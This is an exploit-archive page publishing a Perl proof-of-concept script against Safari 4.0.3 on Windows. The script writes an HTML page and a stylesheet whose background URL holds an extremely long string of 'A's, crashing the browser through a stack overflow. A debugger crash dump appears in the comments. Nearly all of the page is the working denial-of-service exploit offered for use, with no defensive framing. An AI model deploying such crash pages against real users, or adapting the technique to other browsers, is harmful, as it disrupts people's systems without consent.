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Safari 4.0.3 (Win32) CSS Remote Denial of Service Exploit

Author
Jeremy Brown
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-9775
Category
dos / poc
Date add
16-11-2009
Platform
unsorted
=========================================================
Safari 4.0.3 (Win32) CSS Remote Denial of Service Exploit
=========================================================


# Title: Safari 4.0.3 (Win32) CSS Remote Denial of Service Exploit
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Jeremy Brown
# Published: 2009-11-16
# Verified: yes

view source
print?
#!/usr/bin/perl
# ithinkthereforeiexist.pl
# AKA
# Safari 4.0.3 (Win32) CSS Remote Denial of Service Exploit
#
# *********************************************************************************************************
# Another remotely triggerable STACK_OVERFLOW in Safari on Windows...
#
# (204.72c): Stack overflow - code c00000fd (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=000333d8 ebx=000fbd16 ecx=00000000 edx=037b3fd0 esi=037b3fd0 edi=0001bfad
# eip=00ae19af esp=00032ea8 ebp=00032f28 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Safari\CoreFoundation.dll -
# CoreFoundation!_CFStringEncodeByteStream+0x2d:
# 00ae19af 8365b800        and     dword ptr [ebp-48h],0 ss:0023:00032ee0=00000000
#
# A product of Browser Fuzzer 3 :)
#
# "We do it in the dark, with smiles on our faces"
#
# *********************************************************************************************************
# ithinkthereforeiexist.pl
 
$html = "ithinkthereforeiexist.html";
$css  = "ithinkthereforeiexist.css";
 
$size = 114600;
 
$htmldata = "<html>\n<head>\n<link rel=\"stylesheet\" href=\"" . $css . "\" />\n</head>\n";
$htmldata = $htmldata . "<body>\n<div id=\"die\">\n</div>\n</body>\n</html>";
 
$cssdata = "#die\n{\nbackground: url(" . "A" x $size . ");\n}";
 
     open(FD, '>' . $html);
     print FD $htmldata;
     close(FD);
 
     open(FD, '>' . $css);
     print FD $cssdata;
     close(FD);



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